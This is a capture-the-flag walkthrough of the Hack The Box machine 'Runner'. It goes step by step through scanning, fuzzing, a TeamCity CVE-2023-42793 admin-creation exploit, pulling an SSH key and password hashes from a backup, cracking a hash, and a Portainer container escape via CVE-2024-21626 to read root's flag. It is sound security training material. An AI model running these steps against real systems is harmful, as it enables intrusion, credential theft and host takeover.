

Runner

By Praveen Kumar Sharma

IP of the machine is : 10.10.11.13

Lets try pinging it

```
ping 10.10.11.13 -c 5
```

```
PING 10.10.11.13 (10.10.11.13) 56(84) bytes of data.  
64 bytes from 10.10.11.13: icmp_seq=1 ttl=63 time=360 ms  
64 bytes from 10.10.11.13: icmp_seq=2 ttl=63 time=87.8 ms  
64 bytes from 10.10.11.13: icmp_seq=3 ttl=63 time=93.7 ms  
64 bytes from 10.10.11.13: icmp_seq=4 ttl=63 time=86.3 ms  
64 bytes from 10.10.11.13: icmp_seq=5 ttl=63 time=73.5 ms
```

```
--- 10.10.11.13 ping statistics ---
```

```
5 packets transmitted, 5 received, 0% packet loss, time 4004ms  
rtt min/avg/max/mdev = 73.504/140.317/360.295/110.185 ms
```

Alright lets do some port scanning :

Port Scanning :

Simple Port Scan

```
nmap -p- -n -Pn --min-rate=10000 -T5 10.10.11.13 -o portScanning.txt
```

```
nmap -p- -n -Pn --min-rate=10000 -T5 10.10.11.13 -o portScanning.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-23 20:32 IST
Warning: 10.10.11.13 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.13
Host is up (0.073s latency).
Not shown: 60876 closed tcp ports (conn-refused), 4656 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8000/tcp  open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 8.69 seconds
```

Open ports

```
PORT STATE SERVICE
22/tcp open  ssh
80/tcp open  http
8000/tcp open http-alt
```

Lets try an aggressive scan on these

Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80,8000 10.10.11.13 -o aggressiveScan.txt
```

```
nmap -sC -sV -A -T5 -n -Pn -p 22,80,8000 10.10.11.13 -o aggressiveScan.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-23 20:34 IST
Nmap scan report for 10.10.11.13
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http         nginx 1.18.0 (Ubuntu)
|_ http-server-header: nginx/1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://runner.htb/
8000/tcp  open  nagios-nscs Nagios NSCA
|_ http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.01 seconds
```

✍ Aggressive scan

```
PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http      nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/🔗
8000/tcp open  nagios-nsc Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Lets add runner.htb in /etc/hosts

```
# Static table lookup for hostnames.
# See hosts(5) for details.
#
10.10.11.25      greenhorn.htb
192.168.110.76  symfonos.local
192.168.110.101 breakout
10.10.235.31    cyberlens.thm
10.10.236.168   bricks.thm
10.10.37.234    airplane.thm
10.10.11.18     usage.htb
10.10.11.28     sea.htb
10.10.11.13     runner.htb
~
~
```

Alright lets do some directory and Vhost fuzzing next

Lets try directory fuzzing first :

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://runner.htb/FUZZ -t 200
```

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://runner.htb/FUZZ -t 200
```



v2.1.0

```
-----  
:: Method      : GET  
:: URL         : http://runner.htb/FUZZ  
:: Wordlist    : FUZZ: /usr/share/wordlists/dirb/common.txt  
:: Follow redirects : false  
:: Calibration : false  
:: Timeout     : 10  
:: Threads    : 200  
:: Matcher     : Response status: 200-299,301,302,307,401,403,405,500  
-----
```

```
assets      [Status: 200, Size: 16910, Words: 4339, Lines: 392, Duration: 166ms]  
index.html  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 75ms]  
:: Progress: [4614/4614] :: Job [1/1] :: 2320 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
```

alright lets see if we can get any other directory out of this assets directory

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u  
http://runner.htb/assets/FUZZ -t 200
```



```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://runner.htb/assets/vendor/FUZZ -t 200
```



v2.1.0

```
-----  
:: Method          : GET  
:: URL             : http://runner.htb/assets/vendor/FUZZ  
:: Wordlist        : FUZZ: /usr/share/wordlists/dirb/common.txt  
:: Follow redirects : false  
:: Calibration     : false  
:: Timeout         : 10  
:: Threads         : 200  
:: Matcher         : Response status: 200-299,301,302,307,401,403,405,500  
-----
```

```
                [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 142ms]  
wow             [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 75ms]  
:: Progress: [4614/4614] :: Job [1/1] :: 2066 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
```

Alright didn't really find any more after this in /wow

Directories

```
/assets  
/assets/vendor  
/assets/vendor/wow
```

Lets try VHOST Fuzzing now

VHOST Fuzzing :

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-  
5000.txt -u http://FUZZ.runner.htb -t 200
```

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.runner.htb -t 200
```



v2.1.0

```
-----  
:: Method      : GET  
:: URL         : http://FUZZ.runner.htb  
:: Wordlist     : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  
:: Follow redirects : false  
:: Calibration  : false  
:: Timeout      : 10  
:: Threads      : 200  
:: Matcher      : Response status: 200-299,301,302,307,401,403,405,500  
-----
```

```
:: Progress: [4989/4989] :: Job [1/1] :: 28 req/sec :: Duration: [0:02:34] :: Errors: 4989 ::
```

Nothing, I tried a few but those also revealed nothing lets try to create our own using cewl

Create one like this

```
cewl http://runner.htb | grep -v CeWL > wordlist.txt
```

```
cewl http://runner.htb | grep -v CeWL > wordlist.txt
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±4 (0.018s)
```

```
ls
```

```
aggressiveScan.txt  directories.txt  portScanning.txt  Runner.md  subdin-1.txt  subdin-2.txt  wordlist.txt
```

Lets now run this (somehow this didnt work for in ffuf but in gobuster it did)

```
gobuster vhost -w wordlist.txt -u http://runner.htb --append-domain -o vhost.txt
```

```

gobuster vhost -w wordlist.txt -u http://runner.htb --append-domain -o vhost.txt

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:            http://runner.htb
[+] Method:         GET
[+] Threads:        10
[+] Wordlist:        wordlist.txt
[+] User Agent:     gobuster/3.6
[+] Timeout:        10s
[+] Append Domain:  true
=====
Starting gobuster in VHOST enumeration mode
=====
Found: TeamCity.runner.htb Status: 401 [Size: 66]
Progress: 285 / 286 (99.65%)
=====
Finished
=====

```

Lets add this to /etc/hosts as well

```


# Static table lookup for hostnames.
# See hosts(5) for details.
#
10.10.11.25      greenhorn.htb
192.168.110.76  symfonos.local
192.168.110.101 breakout
10.10.235.31    cyberlens.thm
10.10.236.168   bricks.thm
10.10.37.234    airplane.thm
10.10.11.18     usage.htb
10.10.11.28     sea.htb
10.10.11.13     runner.htb      TeamCity.runner.htb
~

```

Lets move to the web application i guess

Web Application :


Default page :



Nothing special static site nothing in the source code as well

The directories are also useless lets go to <http://TeamCity.runner.htb>





Log in to TeamCity

Username

Password



Remember me

[Reset password](#)

Log in

Version 2023.05.3 (build 129390)

So a login page for TeamCity lets find a exploit we have the version in the bottom as well

Found this : <https://www.exploit-db.com/exploits/51884>

JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)

ID:	CVE:	Author:	Type:	Platform:	Date:
2023-42793	2023-42793	BYTEHUNTER	REMOTE	JAVA	2024-03-14
3 Verified: ✕					
Exploit: ↓ / {}			Vulnerable App:		


Lets run this

```
nvim exploit.py
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±1 (1.664s)
python3 exploit.py --url http://teamcity.runner.htb -v

=====
*          CVE-2023-42793                               *
*  TeamCity Admin Account Creation                       *
*                                                         *
*  Author: ByteHunter                                   *
*                                                         *
=====

Token: eyJ0eXAiOiAiVENWMMiJ9.N2pMNVZHdnNqV09ZWVhhTlhGdLVQSzLMNXVj.0GFi
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminEvLH
Password: Main_password!!**
Final curl command: curl --path-as-is -H "Authorization: Bearer eyJ0eX
YjgxZS00OWUwLWE4ODgtN2JlMmQ3OTg3MWMMy" -X POST http://teamcity.runner.
username": "city_adminEvLH", "password": "theSecretPass!", "email": "
: "g"}}}}'
```

 Admin login creds

```
Username : city_adminEvLH
Password : Main_password!!**
```

Now lets login now

Found this Backup under Administration

Administration

Project-related Settings

Projects

All Builds

Build Time

Disk Usage

Server Health

Audit

User Management

Users

Groups

Roles

Integrations

Tools

Server Administration

Global Settings

Authentication

Updates

Nodes Configuration

Email Notifier

Diagnostics

Backup

Backup

Run Backup

History

Start backup

Backup file: *

TeamCity_Backup

☒ add timestamp suffix

Directory for backup files: /data/teamcity_server/datadir/backup

Backup scope: ⓘ

Basic

- database
- server settings, projects and builds configurations, plugins
- supplementary data (settings history, triggers states, plugins data, etc.)

Note: Build artifacts as well as running builds and build queue state are not included in the backup.

⚠ The system is currently configured to work with an internal database (HSQL), which has limitations and is not recommended for production. As a result, backup of a large database can cause an **OutOfMemory** error. See the [TeamCity Data Backup](#) page for details.

Start Backup

Lets make a backup and i found we can download this lets do that real quick

⚠ The system is currently configured to work with an internal database (HSQL), which has limitations and is not recommended for production. As a result, backup of a large database can cause an **OutOfMemory** error. See the [TeamCity Data Backup](#) page for details.

Start Backup

The last backup report

Backup file:

/data/teamcity_server/datadir/backup/TeamCity_Backup_20240823_153128.zip

(259.82 KB)

Preparing:

done in < 1s

Exporting database:

done in < 1s, exported 36 tables

Exporting settings and configurations:

done in < 1s

Exporting supplementary data:

done in < 1s

Finishing:


done in < 1s

Backup completed successfully in < 1s

TeamCity Professional 2023.05.3 (build 129390)

License

Lets download this real quick



Lets see what is in this file

Gaining Access :

unzip that file

```
unzip TeamCity_Backup_20240823_153128.zip
Archive:  TeamCity_Backup_20240823_153128.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
  inflating: version.txt
  inflating: metadata/metadata-version.dat
  inflating: charset
  inflating: metadata/backup.config
  inflating: metadata/schema.config
  inflating: database_dump/db_version
  inflating: database_dump/meta_file_line
  inflating: database_dump/single_row
  inflating: database_dump/server_property
  inflating: database_dump/backup_info
  inflating: database_dump/domain_sequence
  inflating: database_dump/project
  inflating: database_dump/vcs_root
```

Now the most intresting i found in this is an ssh key and some creds

here is the ssh-key :

```
cd config/projects/AllProjects/pluginData/ssh_keys/
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner/config/pr  
ls  
id_rsa
```

Lets copy this to our main folder

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main) (0.021s)  
cp config/projects/AllProjects/pluginData/ssh_keys/id_rsa .
```


```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±1 (0.02s)  
ls
```

aggressiveScan.txt	database_dump	export.report	portScanning.txt
charset	directories.txt	id_rsa	Runner.md
config	exploit.py	metadata	subdir-1.txt

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±1 (0.019s)  
chmod 600 id_rsa
```

Now lets see the database here

```
ls  
action_history      db_version          project_mapping      usergroup_notification_data  users  
agent_pool          domain_sequence     remember_me          usergroup_notification_events vcs_root  
agent_pool_project  hidden_health_item  server              usergroup_roles             vcs_root_mapping  
audit_additional_object meta_file_line      server_health_items  usergroups                   vcs_username  
backup_info         node_locks          server_property      usergroup_watch_type  
build_queue_order   node_tasks          server_statistics    user_projects_visibility  
comments            permanent_tokens    single_row           user_property  
config_persisting_tasks project              stats_publisher_state user_roles  
  
~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner/database_dump git:(main)±1 (0.018s)  
cat users  
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM  
1, admin, $2a$07$neVST/8LEDiMQUs.gM1p4uYl8x18kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724426874196, BCRYPT  
2, matthew, $2a$07$q.m8WQP8niX0Dv55LJVov0mxGtg6K/YPHbD48/JQsd6LuImeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT  
11, city_adminevlh, $2a$07$D204MFIQd46B3465nIRQiexfA0NENr8D2Ygpd4bhyI9bhQcEr6sa, , angry-admin@funnybunny.org, 1724427000052,
```

 Username and password hashes

```
1, admin, 2a$07
neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John,
john@runner.htb ↗, 1724426874196, BCRYPT
2, matthew, 2a$07
q.m8WQP8niX0Dv55lJVov0mxGtg6K/YPHbD48/JQsdGLuImeVo.Em, Matthew,
matthew@runner.htb ↗, 1709150421438, BCRYPT
```

Now i was not able to crack admin password but i think the id_rsa is of john anyway

was able to crack matthew password like this
Save the hash to file

```
vim hash

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±1 (1.383s)
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)

~/Documents/Notes/Hands-on-Hacking/HacktheBox/Runner git:(main)±2 (1.279s)
john hash --show
?:piper123

1 password hash cracked, 0 left
```

User creds

```
Username : Matthew
Password : piper123
```

Now lets login using john's ssh-key

```
ssh -i id_rsa john@runner.htb
```

```
john@runner:~ (0.072s)
```

```
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
```

```
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/pro
```

```
System information as of Fri Aug 23 03:56:50 PM UTC 2024
```

```
john@runner ~
```

```
|
```

And we can login, U can get the user.txt from here

```
john@runner ~ (0.197s)
```

```
ls -al
```

```
total 32
```

```
drwxr-x--- 4 john john 4096 Apr  4 10:24 .
drwxr-xr-x 4 root root 4096 Apr  4 10:24 ..
lrwxrwxrwx 1 root root    9 Feb 28 20:04 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 Feb 28 18:51 .bash_logout
-rw-r--r-- 1 john john 3771 Feb 28 18:51 .bashrc
drwx----- 2 john john 4096 Apr  4 10:24 .cache
-rw-r--r-- 1 john john  807 Feb 28 18:51 .profile
drwx----- 2 john john 4096 Apr  4 10:24 .ssh
-rw-r----- 1 root john   33 Aug 23 13:52 user.txt
```

Vertical PrivEsc :

Something is running on port 9000 here


```
netstat -tulpn
```

```
Active Internet connections (only servers)
```

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.1:9443	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:8111	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:5005	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:9000	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:80	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::8000	:::*	LISTEN	-
tcp6	0	0	:::80	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
udp	0	0	0.0.0.0:68	0.0.0.0:*	-	-
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	-

Lets port forward this to us so we can see whats happening in here

To do this open up another terminal and type in this

```
ssh -L 8888:localhost:9000 -i id_rsa john@runner.htb
```

```
ssh -L 8888:localhost:9000 -i id_rsa john@runner.htb
```

```
john@runner:~ (0.073s)
```

```
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
```

```
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/pro
```

```
System information as of Fri Aug 23 04:00:30 PM UTC 2024
```

```
System load:                0.0107421875
Usage of /:                  80.0% of 9.74GB
Memory usage:                42%
Swap usage:                  0%
Processes:                   235
Users logged in:              1
IPv4 address for br-21746deff6ac: 172.18.0.1
IPv4 address for docker0:     172.17.0.1
IPv4 address for eth0:        10.10.11.13
IPv6 address for eth0:        dead:beef::250:56ff:feb9:a5e1
```


```
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
  just raised the bar for easy, resilient and secure K8s cluster deployment.
```

```
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
```


```
john@runner ~
```

Now we have successfully port forward that process to out port 8888

Lets see whats happening there



So portainer.io is on here lets try the matthew's creds here



And we can get in

Now to exploit this further i found this article really useful
: https://nitroc.org/en/posts/cve-2024-21626-illustrated/?source=post_page-----64ed8bf080f4-----#leaky-vessels-dynamic-detector-from-synk

Now summarising this we need to make a container that is at the location /proc/self/fd/8 and we can use the inbuilt console to read the files there

Fill this like this

Containers > Add container

Create container

Name

rootme

Image configuration

Registry

Docker Hub (anonymous)

Image*

docker.io sha256:e23afbc992ab916ef46d9fdbcb08d1adde86dd145c8f0ecb9bf44ac18783f285

Search

Advanced mode

Always pull the image

Network ports configuration

Publish all exposed network ports to random host ports

Manual network port publishing

+ publish a new network port

Access control

Enable access control

Then at the bottom



Advanced container settings

Command & logging

Volumes

Network

Command

Default

Override

e.g. '-logtostderr' '--housekeeping_interval=5s'

Entrypoint ?

Default

Override

e.g. /bin/sh -c

Working Dir

/proc/self/fd/8

User

Console

☒ Interactive & TTY (-i -t)

☐ Interactive

☐ TTY (-t)

☐ None

Logging

Driver

Default logging driver



Logging driver is the logging driver used by the Docker daemon.

Options ?

+ add logging driver option

Now just hit "deploy the container"

Here press the console button now

Container list ↻



Containers

Search...



Start

Stop



Name↓↑

State↓↑

Filter

Quick Actions

Stack↓↑

Image↓↑

Created



rootme

running

-

e23afbc992ab

2024-0


Type in this then hit connect

Container console

>_

Execute


Command



/bin/bash

Use custom command

☐

User 

root

Connect

So after this u should be logged in as root just type in

```
cat ../../../../../../../../root/root.txt
```

And u should have ur final flag

Thanks for Reading :)